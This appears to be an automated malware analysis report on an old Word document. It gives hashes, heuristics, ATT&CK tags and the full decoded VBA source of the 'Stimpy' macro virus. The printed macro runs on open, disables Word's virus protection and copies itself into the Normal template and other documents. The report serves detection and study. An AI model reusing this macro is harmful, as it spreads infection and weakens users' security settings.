Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e7680b68adcf975c…

MALICIOUS

Office (OLE)

37.0 KB Created: 2001-02-02 06:39:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 0709153a7fca3ec14c958f8ce6134883 SHA-1: 592b7c11da976eff880d06b6f72483a46562f3fb SHA-256: e7680b68adcf975ca4a4ab1d0d77753c8aea8b8f302c918cae7a3a97d587ed38
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon opening a document. The macro attempts to copy itself to the Normal template and modifies Word's security settings to disable virus protection, likely to facilitate further infection or persistence. The embedded text and macro name 'Stimpy' are not indicative of a specific family but suggest a self-propagating intent.

Heuristics 4

  • ClamAV: Doc.Trojan.Mirat-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Mirat-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1696 bytes
SHA-256: e72edd373f931cc9b2548cfe812d27e756ee030c51ce23c3fe0118322429c85b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Stimpy"
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Macro created 2/1/01 by MI_pirat"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.AutoOpen"
' Little Stimpy
' Viruz made Feb/1/01 by MI_pirat
zi = Day(Date)
If zi = 2 Then MsgBox "Stimpy is happy to see you !¡"
If Application.UserName = "Stimpy" Then
StatusBar = "..."
Else
Options.VirusProtection = False
Set myTemplate = NormalTemplate
Application.OrganizerCopy Source:= _
ActiveDocument.FullName, Destination:= _
myTemplate.FullName, Name:= _
"Stimpy", Object:=wdOrganizerObjectProjectItems
Application.UserName = "Stimpy"
Documents.Open FileName:=NormalTemplate.FullName, ConfirmConversions:=False, ReadOnly _
        :=False, AddToRecentFiles:=False, PasswordDocument:="", PasswordTemplate _
        :="", Revert:=False, WritePasswordDocument:="", WritePasswordTemplate:="" _
        , Format:=wdOpenFormatAuto
ActiveDocument.Save
ActiveDocument.Close
End If
For Each aVar In ActiveDocument.Variables
    If aVar.Name = "Infect" Then num = aVar.Index
Next aVar
If num = 0 Then
ActiveDocument.Variables.Add Name:="Infect"
ActiveDocument.Variables("Infect").Value = 1
Set myTemplate = ActiveDocument.AttachedTemplate
Application.OrganizerCopy Source:= _
myTemplate.FullName, Destination:= _
ActiveDocument.FullName, Name:="Stimpy", Object:=wdOrganizerObjectProjectItems
ActiveDocument.Save
End If
End Sub